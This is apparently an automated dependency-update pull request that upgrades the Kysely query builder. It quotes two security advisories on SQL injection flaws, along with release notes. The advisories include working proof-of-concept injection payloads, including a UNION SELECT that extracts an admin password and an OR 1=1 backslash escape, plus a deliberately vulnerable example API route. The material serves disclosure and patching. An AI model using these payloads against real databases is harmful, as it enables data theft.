ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| kysely (source) | ^0.27.6 → ^0.28.17 |
SQL Injection via unsanitized JSON path keys when ignoring/silencing compilation errors or using Kysely<any>.
CVE-2026-32763 / GHSA-wmrf-hv6w-mr66
More information
Details
Summary
Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.
This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.
Details
visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:
// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
if (node.inOperator) {
this.visitNode(node.inOperator);
}
this.append("'$");
for (const pathLeg of node.pathLegs) {
this.visitNode(pathLeg); // Each leg appended without escaping
}
this.append("'");
}
visitJSONPathLeg(node) {
const isArrayLocation = node.type === 'ArrayLocation';
this.append(isArrayLocation ? '[' : '.');
this.append(String(node.value)); // <-- NO single quote escaping
if (isArrayLocation) {
this.append(']');
}
}Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:
sanitizeIdentifier(identifier) {
const leftWrap = this.getLeftIdentifierWrapper();
const rightWrap = this.getRightIdentifierWrapper();
let sanitized = '';
for (const c of identifier) {
sanitized += c;
if (c === leftWrap) { sanitized += leftWrap; }
else if (c === rightWrap) { sanitized += rightWrap; }
}
return sanitized;
}Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.
PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):
- MySQL/SQLite operators (
->$,->>$) produce aJSONPathNodetraversal →visitJSONPathLeg()concatenates the key directly into a single-quoted JSON path string ('$.key') — vulnerable, no escaping. - PostgreSQL operators (
->,->>) produce aJSONOperatorChainNodetraversal →ValueNode.createImmediate(value)→appendImmediateValue()→appendStringLiteral()→sanitizeStringLiteral()doubles single quotes ('→''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.
Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.
PoC
End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):
const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');
const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);
const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });
async function main() {
// Safe usage
const safe = await db
.selectFrom('users')
.select(eb => eb.ref('profile', '->>$').key('city').as('city'))
.execute();
console.log("Safe:", safe);
// [ { city: 'Seoul' }, { city: 'Tokyo' } ]
// Injection via .key() — exfiltrate admin password
const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
const attack = await db
.selectFrom('users')
.select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
.execute();
console.log("Injected:", attack);
// [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.
Generated SQL:
select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"Realistic application pattern
app.get('/api/products', async (req, res) => {
const field = req.query.field || 'name';
const products = await db
.selectFrom('products')
.select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
.execute();
res.json(products);
});Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.
Suggested fix
Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.
Impact
SQL Injection (CWE-89) — An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.
Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
References
- https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66
- https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24
- https://github.com/kysely-org/kysely/releases/tag/v0.28.12
- https://nvd.nist.gov/vuln/detail/CVE-2026-32763
- https://github.com/advisories/GHSA-wmrf-hv6w-mr66
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in sql.lit(string) usage or similar methods that append string literal values into the compiled SQL strings
CVE-2026-33468 / GHSA-8cpq-38p9-67gx
More information
Details
Summary
Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().
Details
The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():
src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.
The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:
src/query-compiler/default-query-compiler.ts:1841-1845
protected appendStringLiteral(value: string): void {
this.append("'")
this.append(this.sanitizeStringLiteral(value))
this.append("'")
}This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():
src/schema/create-index-builder.ts:266-278
where(...args: any[]): any {
const transformer = new ImmediateValueTransformer()
return new CreateIndexBuilder({
...this.#props,
node: QueryNode.cloneWithWhere(
this.#props.node,
transformer.transformNode(
parseValueBinaryOperationOrExpression(args),
this.#props.queryId,
),
),
})
}The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.
Exploitation mechanism:
In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:
sanitizeStringLiteraldoubles the quote:\'' OR 1=1 --appendStringLiteralwraps:'\'' OR 1=1 --'- MySQL interprets
\'as an escaped (literal) single quote, so the string content is'and the second'closes the string OR 1=1 --is parsed as SQL
PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
interface Database {
orders: {
id: number
status: string
order_nr: string
}
}
const db = new Kysely<Database>({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
database: 'test',
user: 'root',
password: 'password',
}),
}),
})
// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"
const query = db.schema
.createIndex('orders_status_index')
.on('orders')
.column('status')
.where('status', '=', userInput)
// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
// WHERE `status` = '\' ← string literal containing a single quote
// ' OR 1=1 --' ← injected SQL (OR 1=1), comment eats trailing quoteTo verify against a live MySQL instance:
-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');
-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';Impact
- SQL Injection: An attacker who controls values passed to
CreateIndexBuilder.where()orCreateViewBuilder.as()can inject arbitrary SQL statements when the application uses the MySQL dialect. - Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
- Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
- Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.
The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.
Recommended Fix
MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:
src/dialect/mysql/mysql-query-compiler.ts
const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g
export class MysqlQueryCompiler extends DefaultQueryCompiler {
// ... existing overrides ...
protected override sanitizeStringLiteral(value: string): string {
// Escape backslashes first (\ → \\), then double single quotes (' → '')
// MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
}
}Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.
Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/kysely-org/kysely/security/advisories/GHSA-8cpq-38p9-67gx
- https://nvd.nist.gov/vuln/detail/CVE-2026-33468
- https://github.com/advisories/GHSA-8cpq-38p9-67gx
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
kysely-org/kysely (kysely)
v0.28.17: 0.28.17
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
0.29 is right around the corner. Try the latest RC version!
🚀 Features
🐞 Bugfixes
- fix: further harden JSON path
.key(...)and.at(...)against SQL injections and exfiltrations. by @igalklebanov in #1804
📖 Documentation
- docs(returning): remove outdated SQLite alias workaround by @aymenhmaidiwastaken in #1793
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors
- @aymenhmaidiwastaken made their first contribution in #1793
What's Changed
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.16...v0.28.17
v0.28.16: 0.28.16
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
0.29 is getting closer btw. 🌶️
🚀 Features
🐞 Bugfixes
- fix:
FilterObjectallows any defined value when query context has no tables (TBisnever). by @igalklebanov in #1791
📖 Documentation
- add socket security badge. by @igalklebanov in
db646ac - chore: make socket security badge reflect current specific version. by @igalklebanov in
5597144 - support multi-entry point tsdoc without index module. by @igalklebanov in
6998915 - fix broken tsdoc references. by @igalklebanov in
5a0f14b
📦 CICD & Tooling
- chore(pnpm): add strictDepBuilds: true. by @igalklebanov in
2301610 - chore: harden dependencies, pnpm. by @igalklebanov in
f4f1d9e - chore: re-add ignore-workspace-root-check. by @igalklebanov in
ab6d00e - add openssf scorecard. by @igalklebanov in
521156b - chore: bump dependencies and github actions. by @igalklebanov in #1789
- chore: change
verifyDepsBeforeRunto "prompt". by @igalklebanov in20548bc
⚠️ Breaking Changes
🐤 New Contributors
What's Changed
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.15...v0.28.16
v0.28.15: 0.28.15
Hey 👋
The introduction of dehydration in JSON functions/helpers caused an unexpected bug for consumers that have some columns defined as '${number}', e.g. '1' | '2' (also when wrapped in ColumnType or similar). Such columns, when participating in a JSON function/helper would dehydrate to number instead of staying as string.
Why dehydrate numeric strings to numbers in the first place? Select types in kysely describe the data after underlying driver's (e.g. pg) data transformation. Some drivers transform numeric columns to strings to be safe. When these columns participate in JSON functions, they lose original column data types - drivers don't know they need to transform to string - they return as-is.
This release introduces a special helper type that wraps your column type definition and tells kysely to NOT dehydrate it in JSON functions/helpers.
import type { NonDehydrateable } from 'kysely'
interface Database {
my_table: {
a_column: '1' | '2' | '3', // dehydrates to `number`
another_column: NonDehydrateable<'1' | '2' | '3'>, // stays `'1' | '2' | '3'`
column_too: NonDehydrateable<ColumnType<'1' | '2' | '3'>> // stays `'1' | '2' | '3'`
}
}🚀 Features
- feat: add
NonDehydrateable<T>to allow opt-out from dehydration in JSON functions/helpers. by @igalklebanov in #1697
🐞 Bugfixes
PostgreSQL 🐘
- fix: PostgreSQL introspector unnecessarily slow in result processing. by @igalklebanov & @rubenferreira97 in #1774
📖 Documentation
- Add complex function helpers section to documentation by @mifi & @igalklebanov in #1758
📦 CICD & Tooling
- chore: bump TypeScript to 6. by @igalklebanov in #1769
- chore: bump dependencies. by @igalklebanov in #1775
⚠️ Breaking Changes
🐤 New Contributors
- @rubenferreira97 made their first contribution in #1774
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.14...v0.28.15
v0.28.14: 0.28.14
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
MySQL 🐬
- fix: string literals are injectable on MySQL when backslash escapes (
\\') are used. by @igalklebanov in #1754 &054e801
📖 Documentation
- Add Node SQLite link to dialects documentation by @wolfie in #1709 & #1755
- docs: document immediate value behavior in case() then/else by @alexchenai in #1753
📦 CICD & Tooling
- bump deno kysely dependency. by @igalklebanov in
9e02f3b
⚠️ Breaking Changes
🐤 New Contributors
- @wolfie made their first contribution in #1709
- @alexchenai made their first contribution in #1753
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.13...v0.28.14
v0.28.13: 0.28.13
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
- fix: missing
sideEffects: falsein rootpackage.jsonresulting in bigger bundles in various bundlers. by @igalklebanov in #1746 - fix:
Insertableallows non-objects when a table has no required columns. by @igalklebanov in #1747
PostgreSQL 🐘
- fix:
ON COMMITclause not being output when using.as(query)inCREATE TABLEqueries. by @igalklebanov in #1748
📖 Documentation
📦 CICD & Tooling
- chore: fix node tests
tsconfig.jsonfor TypeScript native. by @igalklebanov in #1749 - chore: bump dependencies. by @igalklebanov in #1750
- chore: bump GitHub actions. by @igalklebanov in #1751
⚠️ Breaking Changes
🐤 New Contributors
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.12...v0.28.13
v0.28.12: 0.28.12
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
- fix:
eb.ref(col, '->$').key(key)is injectable. by @igalklebanov in #1727
MySQL 🐬
- feat(mysql): Update types for
mysql2@​v3.18.2support #1722 by @fenichelar in #1729
📖 Documentation
📦 CICD & Tooling
- chore: bump dependencies. by @igalklebanov in #1732
- chore: bump dependencies. by @igalklebanov in #1742
⚠️ Breaking Changes
🐤 New Contributors
- @fenichelar made their first contribution in #1729
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.11...v0.28.12
v0.28.11: 0.28.11
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
- Prevent re-use of finished trx outside callback by @jacobpgn in #1694
SQLite 📘
📖 Documentation
- Add MariaDB Dialect by @AwaludinAR in #1646
📦 CICD & Tooling
- test: add runtime json dehydration tests. by @igalklebanov in #1688
- chore: bump dependencies. by @igalklebanov in #1693
⚠️ Breaking Changes
🐤 New Contributors
- @hwisu made their first contribution in #1691
- @AwaludinAR made their first contribution in #1646
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.10...v0.28.11
v0.28.10: 0.28.10
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
- Add
ExtractColumnTypeandDrainOuterGenerictype exports by @mifi in #1679 - fix:
$narrowTypecompilation errors whencomposite: true. by @igalklebanov in #1681 - fix:
executeTakeFirstcompilation error when composite. by @igalklebanov in #1683 - fix:
with/withRecursivecompilation errors when composite. by @igalklebanov in #1684
PostgreSQL 🐘 / MSSQL 🥅
- fix: Migrator attempts to create custom migration schema even if it exists and fails on dialects that don't support
if not exists. by @austin-hall-skylight in #1608
PostgreSQL 🐘 / SQLite 📘
- fix:
returningcompilation errors whencomposite. by @igalklebanov in #1682
📖 Documentation
📦 CICD & Tooling
- chore: bump
pnpmto 10.26.1, useallowBuildsandblockExoticSubdeps. by @igalklebanov in #1663 - chore: bump dependencies. by @igalklebanov in #1685
⚠️ Breaking Changes
🐤 New Contributors
- @austin-hall-skylight made their first contribution in #1608
- @mifi made their first contribution in #1679
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.9...v0.28.10
v0.28.9: 0.28.9
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
PostgreSQL 🐘
- fix: withSchema not applying for delete query using clause. by @igalklebanov in #1648
- fix: withSchema adds schema to for update|share|key share|no key share of tables causing database errors. by @igalklebanov in #1659
📖 Documentation
📦 CICD & Tooling
- publish to jsr. by @igalklebanov in #1457
- chore: bump pnpm, use trustPolicy, exclude safe downgrades, fix browser test, fix bun tests. by @igalklebanov in #1641
- chore(ci): add deno lint with JSR rules. Add verbatimModuleSyntax in tsconfig.json. Apply lint fixes. by @igalklebanov in #1642
- chore: bump dependencies, run prettier. by @igalklebanov in #1644
- chore: bump github actions. by @igalklebanov in #1645
- fix TypeScript native type errors in test-setup.ts. by @igalklebanov in #1660
⚠️ Breaking Changes
🐤 New Contributors
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.8...v0.28.9
v0.28.8: 0.28.8
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
PostgreSQL 🐘
- fix: filter schemas the current user does not have access to in postres introspector by @chanon in #1550
- fix: insert/update not being wrapped in parens when in CTE of a merge query. by @igalklebanov & @msifd in #1611
📖 Documentation
- chore: add SECURITY.md. by @igalklebanov in #1590
- fix: correct JSDoc type references in migration docs by @iyoshi-rgb in #1536
📦 CICD & Tooling
- chore(ci): add dependency provenance check, bump deps to force check. by @igalklebanov in #1589
- chore: bumps dependencies. by @igalklebanov in #1600
- chore: bump deps. by @igalklebanov in #1612
⚠️ Breaking Changes
🐤 New Contributors
- @chanon made their first contribution in #1550
- @iyoshi-rgb made their first contribution in #1536
- @msifd made their first contribution in #1611
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.7...v0.28.8
v0.28.7: 0.28.7
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
- fix: unexported dynamic builders resulting in ts(2742) when composite: true. by @igalklebanov in #1578
- fix(ExpressionBuilder): improper custom operator support in
eb(). by @igalklebanov in #1579 - fix(TransactionBuilder): auto rollback only if transaction begun. by @igalklebanov in #1580
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.6...v0.28.7
v0.28.6: 0.28.6
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
Docs site has been optimized and all we got was this animation:
🚀 Features
🐞 Bugfixes
PostgreSQL 🐘 / MSSQL 🥅
- fix(WithSchemaTransformer): using table of merge into queries unhandled. by @alexander-azizi-martin in #1554.
MySQL 🐬
📖 Documentation
- docs: update site quotes section. by @igalklebanov in #1546.
- docs: add Execution flow page, and mermaid support. by @igalklebanov in #1548.
- docs: add kysely-supabase instructions. by @igalklebanov in #1555.
- docs: add llms.txt and llms-full.txt. by @igalklebanov in #1564.
- docs: add Sean's quote (Cal.com). by @igalklebanov in
c1fd84d. - docs: add vercel-analytics. by @igalklebanov in
1a21140. - chore(docs): remove gtag. by @igalklebanov in
98e84f1. - feat(docs): applying google fonts optimization. by @igalklebanov in #1566.
- chore(docs): clone packageManager property from root. by @igalklebanov in
caa22f4. - chore(docs): optimize demo video. by @igalklebanov in #1567.
- chore(docs): preload demo poster. by @igalklebanov in
3db3542. - chore(docs): proper heading hierarchy. by @igalklebanov in
77eadc0. - chore(docs): optimize avatars. by @igalklebanov in
45a010b. - chore(docs): add meta description. by @igalklebanov in
8f4dd28. - chore(docs): add LLMs docs page. by @igalklebanov in #1570.
📦 CICD & Tooling
- chore: bump devDependencies, bump and pin github actions to commits, harden runners. by @igalklebanov in #1557.
- chore: bump typescript to 5.9, fix older TS tests, fix typings tests for pre-5.4. by @igalklebanov in #1538.
- chore(ci): typescript benchmark enhancements. by @igalklebanov in #1560.
- chore: bump deps, minor site fixes. by @igalklebanov in #1561.
- chore: remove broken bundle size badge from README. by @igalklebanov in
575c43a. - chore: deny .only in mocha tests in CI only. by @igalklebanov in #1565.
- chore: bump deps. by @igalklebanov in #1577.
- pnpm 10.16. by @igalklebanov in
c00319e. - add keywords and homepage in package.json. by @igalklebanov in
163fcf4.
⚠️ Breaking Changes
🐤 New Contributors
- @alexander-azizi-martin made their first contribution in #1554.
- @jeengbe made their first contribution in #1574.
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.5...v0.28.6
v0.28.5: 0.28.5
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
- fix:
BufferbreakingShallowDehydrateValuein non-Node.js TypeScript environments. by @igalklebanov in #1542.
📖 Documentation
📦 CICD & Tooling
- chore(ci): pr comment typescript benchmark results. by @igalklebanov in #1540.
⚠️ Breaking Changes
🐤 New Contributors
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.4...v0.28.5
v0.28.4: 0.28.4
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
🐞 Bugfixes
- fix: ShallowDehydrateValue mishandles null & undefined, and bigint / numeric strings. by @igalklebanov in #1529
PostgreSQL 🐘
📖 Documentation
📦 CICD & Tooling
- chore: pnpm by @igalklebanov in #1527
- fix align-site-version script. by @igalklebanov in
a9bcfa5
⚠️ Breaking Changes
🐤 New Contributors
Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.3...v0.28.4
v0.28.3: 0.28.3
Hey 👋
A small batch of bug fixes. Please report any issues. 🤞😰🤞
🚀 Features
- refactor: remove redundant queryId args. by @igalklebanov in #1483
CockroachDB 🟣
🐞 Bugfixes
- fix(Migrator): NO_MIGRATIONS comparison fails in dup Kysely scenarios. by @igalklebanov in #1475
- Fix
Kysely<any>type errors with narrow table name types by @koskimas in #1443 - fix
AsyncDisposableusage erroring for older TypeScript versions. by @igalklebanov in #1507 - fix(helpers): JSON helpers' return types incorrectly have
Dates and other JS/Node-native instances that require data type metadata. by @igalklebanov in #1477
MySQL 🐬 / MS SQL Server 🥅
- fix: bigint immediates are appended as string literals instead of numbers. by @igalklebanov in #1445
MS SQL Server 🥅
- fix(mssql): socket error handling during connect. by @igalklebanov in #1463
📖 Documentation
- Update plugins.md: fix broken link by @catnipan in #1460
- Added Cloudflare Durable Objects dialect by @benallfree in #1476
- Add Firebird DB dialect by @benkoppe in #1479
📦 CICD & Tooling
- ensure jsdocs check's dts is source of truth for docs examples. by @igalklebanov in #1436
- chore: bye bye node 18. by @igalklebanov in #1450
- chore: bump deps, dump tsx for Node.js native TS. by @igalklebanov in #1451
- chore(CI): replace Node.js v23 with v24. by @igalklebanov in
1ae8829 - chore: make npm publishable package contents configuration safer/more maintainable. by @igalklebanov in #1456
- chore(CI): add native typescript type checks. by @igalklebanov in #1467
- Delete .renovaterc.json by @igalklebanov in
7d1c4e5 - chore: move pkg-pr-new to workflow only. by @igalklebanov in #1471
⚠️ Breaking Changes
🐤 New Contributors
- @yawhide made their first contribution in #1459
- @catnipan made their first contribution in #1460
- @benallfree made their first contribution in #1476
- @benkoppe made their first contribution in #1479
Full Changelog: https://github.com/kysely-org/kysely/compare/0.28.2...v0.28.3
v0.28.2
Hey 👋
v0.28 broke an undocumented TypeScript behavior our API had that allowed you to pass table name unions to query builders and enable some DRYing of queries. Seeing that this pattern was quite popular, we decided to support it officially with the addition of the table method in the dynamic module.
You can pull off some crazy complex stuff like:
async function getRowByColumn<
T extends keyof Database,
C extends keyof Database[T] & string,
V extends SelectType<Database[T][C]>,
>(t: T, c: C, v: V) {
// We need to use the dynamic module since the table name
// is not known at compile time.
const { table, ref } = db.dynamic
return await db
.selectFrom(table(t).as('t'))
.selectAll()
.where(ref(c), '=', v)
// `id` can be directly referenced since every table has it.
.orderBy('t.id')
.executeTakeFirstOrThrow()
}
const person = await getRowByColumn('person', 'first_name', 'Arnold')...and it'll narrow the downstream query context to the intersection of all the possible shapes of tables in the union type. (DONT DO THIS AT HOME KIDS!)
A simpler example would be:
async function deleteItem(id: string, table: 'person' | 'pet') {
await db
.deleteFrom(db.dynamic.table(table).as('t'))
.where('id', '=', id)
.executeTakeFirstOrThrow()
}If you attempt to refer to a column that doesn't exist in both "person" and "pet" (e.g. "pet"'s "species" column), the compiler will correctly yell at you.
🚀 Features
- Add
tabletoDynamicModulefor dynamic table references by @koskimas in #1434
🐞 Bugfixes
SQLite 📘
- fix: SQLite's introspector is printing deprecation errors for
orderBy(array). by @igalklebanov in #1435
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors
Full Changelog: https://github.com/kysely-org/kysely/compare/0.28.1...0.28.2
v0.28.1
Hey 👋
Just a small crucial bug fix release. Please inform us if you see any more regressions since v0.28. 🙏
🚀 Features
🐞 Bugfixes
PostgreSQL 🐘
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors
Full Changelog: https://github.com/kysely-org/kysely/compare/0.28.0...0.28.1
v0.28.0
Hey 👋
Transactions are getting a lot of love in this one!
As part an effort to replace Knex with Kysely, B4nan, the author of mikro-orm drove the new setAccessMode('read only'|'read write') method when starting transactions.
You can now commit/rollback transactions manually and there's even savepoint support:
const trx = await db.startTransaction().execute()
try {
// do stuff with `trx`, including work with savepoints via the new `savepoint(name)`, `rollbackToSavepoint(name)` and `releaseSavepoint(name)` methods!
await trx.commit().execute()
} catch (error) {
await trx.rollback().execute()
throw error
}We also added using keyword support, so now you can write:
await using db = new Kysely({...})and db.destroy() will be called automatically once the current scope is exited.
If you plan on trying this out (it is optional, you can still const db = new Kysely({...}) and await db.destroy() manually), the using keyword requires typescript >= 5.2 and the following tsconfig.json options:
{
"compilerOptions": {
"target": "ES2022",
"lib": ["ESNext", ...],
...
}
...
}We also added a plugin to handle in () and not in (). It comes with 2 handling strategies, one similar to how Knex.js, PrismaORM, Laravel and SQLAlchemy do it, and one similar to how TypeORM and Sequelize do it. It also supports custom strategies, e.g. throwing an error to avoid making a call to the database and wasting resources. Here's an example with one of the strategies we ship:
import {
// ...
HandleEmptyInListsPlugin,
// ...
replaceWithNoncontingentExpression,
// ...
} from 'kysely'
const db = new Kysely<Database>({
// ...
plugins: [
new HandleEmptyInListsPlugin({
strategy: replaceWithNoncontingentExpression
})
],
})
// ...
.where('id', 'in', [])
.where('first_name', 'not in', []) // => `where 1 = 0 and 1 = 1`🚀 Features
InferResultshould output plural. by @igalklebanov in #1064- Speedup types with huge databases. Fixes #867 by @koskimas in [#1080](https://redirect.github.com
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
- Branch creation
- ""
- Automerge
- At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.